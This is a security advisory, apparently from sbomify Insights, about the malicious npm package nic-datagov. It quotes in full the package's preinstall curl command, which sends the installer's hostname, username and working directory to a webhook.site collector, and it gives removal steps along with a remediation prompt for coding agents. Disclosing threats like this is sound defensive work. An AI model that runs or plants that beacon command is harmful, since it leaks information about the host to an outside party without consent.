# MAL-2026-5836: Malicious code in nic-datagov (npm)


- **Type:** Malicious package
- **Package:** `nic-datagov` (npm)
- **Published:** 15 Jun 2026

## What is MAL-2026-5836?

MAL-2026-5836 is a malicious package in nic-datagov, published on 15 Jun 2026. 

### Official description

package.json declares a preinstall script that runs `curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov`, sending the installer's hostname, current user, and working directory to a webhook.site collector on `npm install`. The package ships no library code and has no `main`/`files` consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace.

The OpenSSF Package Analysis project identified 'nic-datagov' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-5836?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5836 is a malicious package: nic-datagov (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5836/ (Markdown: https://insights.sbomify.com/MAL-2026-5836/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5836

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-5836/
Summaries are generated and may contain mistakes; the official description above is the record.